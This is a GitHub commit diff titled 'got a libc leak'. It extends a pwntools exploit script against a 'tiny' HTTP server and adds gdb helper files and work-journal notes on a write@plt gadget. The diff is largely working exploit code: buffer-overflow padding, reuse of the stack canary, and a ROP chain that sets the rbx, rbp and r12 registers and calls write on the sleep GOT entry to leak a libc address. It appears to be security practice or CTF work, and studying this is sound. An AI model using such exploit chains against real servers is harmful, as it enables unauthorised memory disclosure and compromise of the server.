Skip to content

Commit 593e011

Browse files
committed
got a libc leak
1 parent ef0489b commit 593e011

File tree

4 files changed

+33
-5
lines changed

4 files changed

+33
-5
lines changed

debug.sh

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
gdb -x debugcmd.txt -p $(pgrep tiny)

debugcmd.txt

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
set follow-fork-mode child
2+
b *process+266
3+
continue

docs/work-journal.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -672,3 +672,14 @@ the syscall will EFAULT
672672
```
673673
sudo -E gdb -p $(pgrep tiny)
674674
```
675+
676+
677+
wait this is good:
678+
0x000000000000260c <+45>: mov rdx,rbx
679+
0x000000000000260f <+48>: mov rsi,rbp
680+
0x0000000000002612 <+51>: mov edi,r12d
681+
0x0000000000002615 <+54>: call 0x22d0 <write@plt>
682+
683+
this gives us access to write, by using
684+
the registers we control:
685+
rbx,rbp, r12

expl_all.py

Lines changed: 18 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -39,11 +39,11 @@ def package_http_request(path):
3939
])
4040

4141

42-
def run_expl(payload, log=True):
42+
def run_expl(payload, padding=PADDING_SIZE, log=True):
4343
p = remote(ADDR, PORT)
4444
# buffer overflow
4545
expl = b''
46-
expl += b'a'*PADDING_SIZE
46+
expl += b'a'*padding
4747
expl += payload
4848

4949
#url encode all the bytes that would block the http parser
@@ -225,14 +225,27 @@ def main():
225225

226226
#leak libc rop chain
227227
rop = ROP(e)
228+
# this clobbers rdx with the pointer in rdi
228229
# rop.call('strlen', [e.symbols['_IO_stdin_used']+0x16])
229230

231+
# this clobbers rdx with a pointer
232+
# rop.call('getcwd', [0,0])
233+
read_addr = e.symbols['_IO_stdin_used']+0x18 #html string
234+
read_addr = e.got['sleep']
235+
rop(r12=4, rbx=20, rbp=read_addr)
236+
# rop.r12 = 4
237+
# rop.rbx = 20
238+
# rop.rbp = e.symbols['_IO_stdin_used']+0x18 #html string
239+
240+
write_primitive = program_base_offset+0x260c
241+
rop.raw(write_primitive)
242+
230243
#these two work, but we need a value not too large in rdi
231-
rop.call('write', [4, (e.symbols['_IO_stdin_used']+0x18)]) #html string
232-
rop.call('write', [4, e.got['sleep']])
244+
# rop.call('write', [4, (e.symbols['_IO_stdin_used']+0x18)]) #html string
233245
# rop.call('write', [4, e.got['sleep']])
246+
234247
# rop.call('client_error', [4, e.got['sleep']])
235-
rop.call('sleep', [4]) #this sleep is here to help debugging
248+
# rop.call('sleep', [4]) #this sleep is here to help debugging
236249

237250
payload = b''
238251
payload += canary_bytes

0 commit comments

Comments
 (0)